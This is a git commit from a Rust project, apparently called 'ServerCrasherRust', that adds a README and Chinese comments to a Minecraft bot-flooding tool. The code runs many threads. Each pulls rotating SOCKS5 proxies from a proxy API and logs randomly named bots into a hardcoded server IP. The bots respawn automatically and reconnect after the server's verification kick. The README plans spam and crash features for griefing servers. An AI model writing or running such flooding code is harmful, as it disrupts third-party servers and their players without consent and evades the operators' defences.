添加README.md,加了点注释

This commit is contained in:
Zihaoxu2008
2025-01-24 22:57:01 +08:00
parent 790e1f7fd0
commit 0fe86415ce
4 changed files with 53 additions and 10 deletions

16
README.md Normal file
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@@ -0,0 +1,16 @@
# SCRGV - 地球管家
该项目为生鱼管家的重制版,将项目移植到了rust,并且拥有了更加简洁的程序~~(即丢掉了原先的那坨史山)~~
得益于rust高效~~(且折磨人)~~的内存管理,新版本可以以更低的内存占用达到更高的效果
目前的版本仅支持Minecraft 1.20.1,且暂无配置文件等功能(目标ip什么的写死在代码里了)
## 使用方法
1. 我相信通过百度,你有安装rust的能力,因此跳过此步骤
2. 将项目克隆到本地
3. 命令行里跑一跑
```shell
cd ServerCrasherRust
cargo run
```
## TODO List
1. 实现配置文件&更加灵活的代理设置
2. 实现spammer,tab completion crash等实用的~~熊服~~(划掉)功能
3. 适配多版本(flag先立着,什么时候实现不一定)

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@@ -1,3 +1,5 @@
// bot的实现
use std::{io::Error, thread::sleep, time::Duration}; use std::{io::Error, thread::sleep, time::Duration};
use rust_mc_proto::{DataBufferReader, DataBufferWriter, MinecraftConnection, Packet, ProtocolError}; use rust_mc_proto::{DataBufferReader, DataBufferWriter, MinecraftConnection, Packet, ProtocolError};
@@ -24,11 +26,13 @@ impl Socks5Bot {
} }
// bot登录函数 // bot登录函数
pub fn login(&mut self) -> Result<(), ProtocolError> { pub fn login(&mut self) -> Result<(), ProtocolError> {
// 这里其实传的server host是什么都不要紧,但保险起见还是弄一下
let mut server_host: String = self.server_addr.clone(); let mut server_host: String = self.server_addr.clone();
let server_port: String = server_host.split_off(server_host.find(":").unwrap()+1); let server_port: String = server_host.split_off(server_host.find(":").unwrap()+1);
// println!("{}",server_host); // println!("{}",server_host);
server_host = server_host.strip_suffix(':').unwrap().to_string(); server_host = server_host.strip_suffix(':').unwrap().to_string();
let server_port_num: u16 = server_port.parse::<u16>().unwrap(); let server_port_num: u16 = server_port.parse::<u16>().unwrap();
// 发一个handshake包,设置next_state为2(Login)
self.conn.write_packet(&Packet::build(0x00, |packet| { self.conn.write_packet(&Packet::build(0x00, |packet| {
packet.write_u16_varint(763)?; // protocol_version packet.write_u16_varint(763)?; // protocol_version
packet.write_string(&server_host)?; // server_address packet.write_string(&server_host)?; // server_address
@@ -36,6 +40,7 @@ impl Socks5Bot {
packet.write_u8_varint(2) // next_state packet.write_u8_varint(2) // next_state
})?)?; // handshake packet })?)?; // handshake packet
// 再发一个,把用户名发过去(不知道为什么,反正文档上写要发两个)
self.conn.write_packet(&Packet::build(0x00, |packet| { self.conn.write_packet(&Packet::build(0x00, |packet| {
packet.write_string(&self.username)?; packet.write_string(&self.username)?;
packet.write_boolean(false)// ?; packet.write_boolean(false)// ?;
@@ -45,25 +50,30 @@ impl Socks5Bot {
Ok(()) Ok(())
} }
// 处理服务器发的keepalive
pub fn handle_keepalive(&mut self,packet: &mut Packet) -> Result<(), ProtocolError> { pub fn handle_keepalive(&mut self,packet: &mut Packet) -> Result<(), ProtocolError> {
// keep alive // keep alive
let id = packet.read_long()?; let id = packet.read_long()?;
// keepalive原封不动丢回去就行
// TODO 在20秒未进行Keepalive时断开连接
self.conn.write_packet(&Packet::build(0x12, |packet| { // respond with a same keep alive packet self.conn.write_packet(&Packet::build(0x12, |packet| { // respond with a same keep alive packet
packet.write_long(id) packet.write_long(id)
})?)?; })?)?;
// println!("Server keep alived"); // println!("Server keep alived");
// 这个包是重生用的,因为我发现如果玩家上线的时候就是死的,那它就没法自动重生
self.conn.write_packet(&Packet::build(0x07, |packet| { self.conn.write_packet(&Packet::build(0x07, |packet| {
packet.write_u8_varint(0) packet.write_u8_varint(0)
})?)?; })?)?;
Ok(()) Ok(())
} }
// 处理断开连接事件(这个指的是建立连接后再断开连接)
pub fn handle_disconnect(&mut self,packet: &mut Packet) -> Result<(), ProtocolError> { pub fn handle_disconnect(&mut self,packet: &mut Packet) -> Result<(), ProtocolError> {
// disconnect // disconnect
let message = packet.read_string()?; let message = packet.read_string()?;
let text = utils::parse_json_component(message.as_str()); let text = utils::parse_json_component(message.as_str());
println!("[{}] Server disconnected: {}", self.username, text); println!("[{}] Server disconnected: {}", self.username, text);
if text.contains("验证程序已启用") { if text.contains("验证程序已启用") { // TODO 把这个搞进配置文件里面
println!("[{}] Restart flag setted, will restart after 1.5 min", self.username); println!("[{}] Restart flag setted, will restart after 1.5 min", self.username);
sleep(Duration::from_secs(90)); sleep(Duration::from_secs(90));
self.should_restart = true; self.should_restart = true;
@@ -78,12 +88,12 @@ impl Socks5Bot {
while self.conn.is_alive() { while self.conn.is_alive() {
let mut packet = self.conn.read_packet()?; let mut packet = self.conn.read_packet()?;
match packet.id() { match packet.id() {
0x02 => { 0x02 => { // 成功登录
// login success // login success
println!("[{}] Successfully logged in!",self.username); println!("[{}] Successfully logged in!",self.username);
status = 1; status = 1;
} }
0x03 => { 0x03 => {// 设置压缩CompressionThreshold
// set compression // set compression
let threshold = packet.read_i32_varint()?; let threshold = packet.read_i32_varint()?;
if threshold >= 0 { if threshold >= 0 {
@@ -91,22 +101,22 @@ impl Socks5Bot {
// println!("[{}] Compression threshold set to {}", self.username, threshold) // println!("[{}] Compression threshold set to {}", self.username, threshold)
} }
} }
0x23 => { 0x23 => { // KeepAlive包
self.handle_keepalive(&mut packet)?; self.handle_keepalive(&mut packet)?;
} }
0x1A => { 0x1A => {// 断连包
// disconnect // disconnect
self.handle_disconnect(&mut packet)?; self.handle_disconnect(&mut packet)?;
break; break;
} }
0x00 => { 0x00 => {// 版本不匹配啥的就会走这
if status == 0{ if status == 0{
let text = packet.read_string()?; let text = packet.read_string()?;
println!("[{}] Failed to login: {}", self.username, utils::parse_json_component(text.as_str())); println!("[{}] Failed to login: {}", self.username, utils::parse_json_component(text.as_str()));
break; break;
} }
} }
0x38 => { 0x38 => {// 去世包(自动复活)
// player died // player died
println!("[{}] Player died,respawning...",self.username); println!("[{}] Player died,respawning...",self.username);
self.conn.write_packet(&Packet::build(0x07, |packet| { self.conn.write_packet(&Packet::build(0x07, |packet| {
@@ -121,6 +131,7 @@ impl Socks5Bot {
Ok(()) Ok(())
} }
// 运行bot
pub fn run(&mut self) -> Result<(), ProtocolError> { pub fn run(&mut self) -> Result<(), ProtocolError> {
println!("[{}] Connecting to {} with proxy {}", self.username, self.server_addr,self.proxy_addr); println!("[{}] Connecting to {} with proxy {}", self.username, self.server_addr,self.proxy_addr);
self.login().unwrap(); self.login().unwrap();

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@@ -1,3 +1,5 @@
// 地球管家 - 主程序
mod bot_socks5; mod bot_socks5;
mod utils; mod utils;
@@ -9,7 +11,10 @@ use rand::distributions::Alphanumeric;
use serde_json::Value; use serde_json::Value;
use reqwest; use reqwest;
// 目标的ip地址(暂时不能解析dns)
// 理论上你可以把它改成任何支持1.20.1的服务器
const SERVER_ADDR: &str = "49.70.3.146:33009"; const SERVER_ADDR: &str = "49.70.3.146:33009";
// uu代理的api(用来实时获取代理)
const UU_URL: &str = "http://uu-proxy.com/api/get_proxies?id=RZ7GS5ZYTA&size=1&schemes=socks5&support_https=false&format=json"; const UU_URL: &str = "http://uu-proxy.com/api/get_proxies?id=RZ7GS5ZYTA&size=1&schemes=socks5&support_https=false&format=json";
#[tokio::main] #[tokio::main]
@@ -21,6 +26,7 @@ async fn main() {
// .build() // .build()
// .unwrap(); // .unwrap();
// 一个互斥锁,防止有多个线程同时请求uuproxy
let thread_lock = Arc::new(Mutex::new(())); let thread_lock = Arc::new(Mutex::new(()));
let mut handles = Vec::new(); let mut handles = Vec::new();
@@ -31,6 +37,7 @@ async fn main() {
// attack_thread(lock_clone).await; // attack_thread(lock_clone).await;
// println!("[MAIN] Thread {} created", i); // println!("[MAIN] Thread {} created", i);
// }); // });
// 生成一个线程
let handle = thread::spawn(move || { let handle = thread::spawn(move || {
tokio::runtime::Builder::new_current_thread() tokio::runtime::Builder::new_current_thread()
.enable_all() .enable_all()
@@ -39,21 +46,23 @@ async fn main() {
.unwrap() .unwrap()
.block_on(async move { .block_on(async move {
attack_thread(lock_clone).await; attack_thread(lock_clone).await;
println!("[MAIN] Thread {} created", i); // println!("[MAIN] Thread {} created", i);
}); });
}); });
handles.push(handle); handles.push(handle);
println!("[MAIN] Thread {} created", i) println!("[MAIN] Thread {} created", i)
} }
// 等待所有任务完成 // 等待所有任务完成(虽然大概也许可能这辈子都等不到)
for handle in handles { for handle in handles {
handle.join().unwrap(); handle.join().unwrap();
} }
} }
// 用于殴打的线程
async fn attack_thread(lock: Arc<Mutex<()>>) -> () { async fn attack_thread(lock: Arc<Mutex<()>>) -> () {
loop { loop {
// 请求proxy
let resp: reqwest::Response; let resp: reqwest::Response;
{ {
let _guard = lock.lock().await; let _guard = lock.lock().await;
@@ -61,11 +70,14 @@ async fn attack_thread(lock: Arc<Mutex<()>>) -> () {
} }
let proxy_list: Value = serde_json::from_str(&resp.text().await.unwrap()).unwrap(); let proxy_list: Value = serde_json::from_str(&resp.text().await.unwrap()).unwrap();
let proxy = &proxy_list["proxies"].as_array().unwrap()[0]; let proxy = &proxy_list["proxies"].as_array().unwrap()[0];
let username = generate_string(); let username = generate_string();
// 这里用来标记是否需要重启
let mut flag = true; let mut flag = true;
while flag { while flag {
flag = false; flag = false;
// 创建一个bot
let bot_result = bot_socks5::Socks5Bot::new( let bot_result = bot_socks5::Socks5Bot::new(
username.clone(), username.clone(),
format!("{}:{}", proxy["ip"].as_str().unwrap(), proxy["port"]), format!("{}:{}", proxy["ip"].as_str().unwrap(), proxy["port"]),
@@ -91,6 +103,8 @@ async fn attack_thread(lock: Arc<Mutex<()>>) -> () {
} }
} }
// 生成一个随机的用户名
// author: 通义
fn generate_string() -> String { fn generate_string() -> String {
let mut rng = rand::thread_rng(); let mut rng = rand::thread_rng();
let len = rng.gen_range(5..=10); let len = rng.gen_range(5..=10);

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@@ -1,4 +1,6 @@
// 处理json组件 // 一些杂七杂八的小东西可以放在这
// 处理json组件(有些TextComponent里面一堆extra看的我头皮发麻,所以整个这个)
pub fn parse_json_component(json: &str) -> String { pub fn parse_json_component(json: &str) -> String {
let data: serde_json::Value = serde_json::from_str(json).unwrap(); let data: serde_json::Value = serde_json::from_str(json).unwrap();
let mut res: String = String::new(); let mut res: String = String::new();